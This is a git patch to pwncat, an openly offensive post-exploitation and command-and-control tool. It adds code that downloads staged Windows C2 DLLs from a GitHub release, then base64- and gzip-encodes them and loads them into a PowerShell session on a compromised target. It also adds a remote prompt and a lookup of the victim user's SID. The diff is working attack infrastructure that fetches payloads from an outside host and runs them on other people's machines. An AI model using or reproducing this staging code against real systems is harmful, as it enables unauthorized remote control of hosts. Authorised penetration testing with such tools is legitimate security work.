From 830fe7b2116fe1d40c064b4d48f378a45220dfbe Mon Sep 17 00:00:00 2001 From: Caleb Stewart Date: Mon, 24 May 2021 00:18:30 -0400 Subject: [PATCH] Initial working windows setup I have opened the Windows C2 repository, and added the ability for pwncat to automatically download the C2 DLLs. If you don't have internet or would rather grab them yourself, you can place them in ~/.local/share/pwncat (or point the `windows_c2_dir` config at the directory where you do place them). If `stageone.dll` and `stagetwo.dll` exist in that directory, pwncat will not attempt to download them from github. --- pwncat/config.py | 4 ++ pwncat/modules/agnostic/report.py | 2 +- pwncat/platform/windows.py | 98 ++++++++++++++++++++++++++----- 3 files changed, 87 insertions(+), 17 deletions(-) diff --git a/pwncat/config.py b/pwncat/config.py index 505e60a..ffb990e 100644 --- a/pwncat/config.py +++ b/pwncat/config.py @@ -88,6 +88,10 @@ class Config: "cross": {"value": None, "type": str}, "psmodules": {"value": ".", "type": local_dir_type}, "verbose": {"value": False, "type": bool_type}, + "windows_c2_dir": { + "value": "~/.local/share/pwncat", + "type": local_dir_type, + }, } # Locals are set per-used-module diff --git a/pwncat/modules/agnostic/report.py b/pwncat/modules/agnostic/report.py index 0c3336d..2c59c84 100644 --- a/pwncat/modules/agnostic/report.py +++ b/pwncat/modules/agnostic/report.py @@ -100,7 +100,7 @@ class Module(BaseModule): with open(output, "w") as filp: template.stream(context).dump(filp) else: - markdown = Markdown(template.render(context)) + markdown = Markdown(template.render(context), hyperlinks=False) console.print(markdown) except jinja2.TemplateError as exc: raise ModuleFailed(str(exc)) from exc diff --git a/pwncat/platform/windows.py b/pwncat/platform/windows.py index 86e69ac..e3b019b 100644 --- a/pwncat/platform/windows.py +++ b/pwncat/platform/windows.py @@ -8,30 +8,26 @@ import time import base64 import shutil import pathlib +import tarfile import termios import readline import textwrap import subprocess -from io import ( - BytesIO, - StringIO, - RawIOBase, - TextIOWrapper, - BufferedIOBase, - UnsupportedOperation, -) +from io import (BytesIO, StringIO, RawIOBase, TextIOWrapper, BufferedIOBase, + UnsupportedOperation) from typing import List, Union, BinaryIO from subprocess import TimeoutExpired, CalledProcessError from dataclasses import dataclass -import pkg_resources - import pwncat +import requests import pwncat.util +import pkg_resources import pwncat.subprocess from pwncat.platform import Path, Platform, PlatformError INTERACTIVE_END_MARKER = b"\nINTERACTIVE_COMPLETE\r\n" +PWNCAT_WINDOWS_C2_RELEASE_URL = "https://github.com/calebstewart/pwncat-windows-c2/releases/download/v0.0.1/pwncat-windows-v0.0.1.tar.gz" class PowershellError(Exception): @@ -122,6 +118,7 @@ class WindowsFile(RawIOBase): return 0 self.platform.run_method("File", "read") + self.platform.channel.sendline(str(self.handle).encode("utf-8")) self.platform.channel.sendline(str(len(b)).encode("utf-8")) count = int(self.platform.channel.recvuntil(b"\n").strip()) @@ -390,8 +387,24 @@ class Windows(Platform): # Tracks paths to modules which have been sideloaded into powershell self.psmodules = [] + # Ensure we have the C2 libraries downloaded + self._ensure_libs() + self._bootstrap_stage_two() + # This is a dirty hack + old_close = self.channel.close + + def new_close(): + self.run_method("StageTwo", "exit") + old_close() + + self.channel.close = new_close + + self.refresh_uid() + + self.setup_prompt() + # Load requested libraries # for library, methods in self.LIBRARY_IMPORTS.items(): # self._load_library(library, methods) @@ -401,6 +414,41 @@ class Windows(Platform): self.channel.send(f"{typ}\n{method}\n".encode("utf-8")) + def setup_prompt(self): + """ Set a prompt method for powershell to ensure our prompt looks pretty :) """ + + self.powershell( + """ +function prompt { + $ESC = [char]27 + Write-Host "$ESC[31m(remote)$ESC[33m $env:UserName@$env:ComputerName$ESC[0m:$ESC[36m$($executionContext.SessionState.Path.CurrentLocation)$ESC[0m$" -NoNewLine + return " " +}""" + ) + + def _ensure_libs(self): + """This method checks that stageone.dll and stagetwo.dll exist within + the directory specified by the windows_c2_dir configuration. If they do + not, a release copy is downloaded from GitHub.""" + + location = pathlib.Path(self.session.config["windows_c2_dir"]).expanduser() + location.mkdir(parents=True, exist_ok=True) + + if ( + not (location / "stageone.dll").exists() + or not (location / "stagetwo.dll").exists() + ): + self.session.manager.log("Downloading Windows C2 binaries from GitHub...") + with requests.get(PWNCAT_WINDOWS_C2_RELEASE_URL, stream=True) as request: + data = request.raw.read() + with tarfile.open(mode="r:gz", fileobj=BytesIO(data)) as tar: + with tar.extractfile("stageone.dll") as stageone: + with (location / "stageone.dll").open("wb") as output: + shutil.copyfileobj(stageone, output) + with tar.extractfile("stagetwo.dll") as stagetwo: + with (location / "stagetwo.dll").open("wb") as output: + shutil.copyfileobj(stagetwo, output) + def _bootstrap_stage_two(self): """This takes the stage one C2 (powershell) and boostraps it for stage two. Stage two is C# code dynamically compiled and executed. We first @@ -432,11 +480,17 @@ class Windows(Platform): chunk_sz = 1900 loader_encoded_name = pwncat.util.random_string() + stageone = ( + pathlib.Path(self.session.config["windows_c2_dir"]).expanduser() + / "stageone.dll" + ) + stagetwo = ( + pathlib.Path(self.session.config["windows_c2_dir"]).expanduser() + / "stagetwo.dll" + ) # Read the loader - with open( - pkg_resources.resource_filename("pwncat", "data/loader.dll"), "rb" - ) as filp: + with stageone.open("rb") as filp: loader_dll = base64.b64encode(filp.read()) # Extract first chunk @@ -519,9 +573,7 @@ class Windows(Platform): self.channel.recvuntil(b"\n") # Load, Compress and Encode stage two - with open( - pkg_resources.resource_filename("pwncat", "data/stagetwo.dll"), "rb" - ) as filp: + with stagetwo.open("rb") as filp: stagetwo_dll = filp.read() compressed = BytesIO() with gzip.GzipFile(fileobj=compressed, mode="wb") as gz: @@ -774,6 +826,20 @@ class Windows(Platform): except CalledProcessError: return None + def refresh_uid(self): + """ Retrieve the current user ID """ + + self.powershell( + "Add-Type -AssemblyName System.DirectoryServices.AccountManagement" + ) + self.user_info = self.powershell( + "([System.DirectoryServices.AccountManagement.UserPrincipal]::Current).SID.Value" + ) + + def getuid(self): + + return self.user_info + def new_item(self, **kwargs): """Run the `New-Item` commandlet with specified arguments and raise the appropriate local exception if requried."""